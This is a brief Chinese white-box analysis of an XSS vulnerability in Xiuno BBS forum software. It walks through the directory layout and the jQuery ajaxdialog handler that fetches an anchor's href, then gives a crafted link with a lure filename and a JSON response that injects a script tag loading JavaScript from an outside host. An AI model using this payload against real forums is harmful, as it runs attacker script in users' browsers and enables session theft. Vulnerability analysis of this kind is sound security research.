Xiuno BBS XSS Vulnerability 简单的xss白盒分析

├─admin                //后台目录

│  ├─conf

│  ├─control            //后台action 文件  

│  └─view       

├─conf                   //配置

├─control                  //前台action  

├─model                   //系统 model 

.......                        //前台模板

├─view             

│  ├─image

│  │  └─filetype

│  └─js

│      ├─clipimg

│      └─editor

└─xiunophp               // 核心框架

<a rel="nofollow" target="_blank" onclick="return false;" ajaxdialog="{showtitle: false, cache: true, position: 6, modal: false}" class="ajaxdialog" href="http://w/coder/xiuno/?attach-dialog-fid-1-aid-8-ajax-1.htm"><img width="16" height="16" src="http://w/coder/xiuno/view/image/filetype/html.gif">1.html</a>

$('a.ajaxdialog, input.ajaxdialog').die('click').live('click', ajaxdialog_click);  

function ajaxdialog_click(e) {

        var e = e ? e : window.event;// 兼容 event

        var url = $(this).attr('href');   //读取到 a标记的  herf 属性  

    ............        

        var recall = this.recall ? this.recall : null;

        ajaxdialog_request(url, recall, options);   //远程获取内容

        return false;

}

function ajaxdialog_request(url, recall, options) {

  .......

        $.get(url, {ajax: 1}, function(s) {  // jquery  ajax    get

         var json = json_decode(s);  

  ..........



           jdialog.dialog(options);  //调用 jquery 对话框插件,传入各种属性 

}

<a href="http://w/1.html" class="ajaxdialog" ajaxdialog="{showtitle: false, cache: true, position: 6, modal: false}" target="_blank" rel="nofollow"><img src="http://w/1.jpg" height="16" width="16">毛片.rmvb</a>

{"servererror":"","status":1,"message":{"width":"400","height":300,"pos":"center","title":"\u9644\u4..............\n\n<script type=\"text\/javascript\" src=\"http:\/\/w/1.js\"><\/script>\n"}}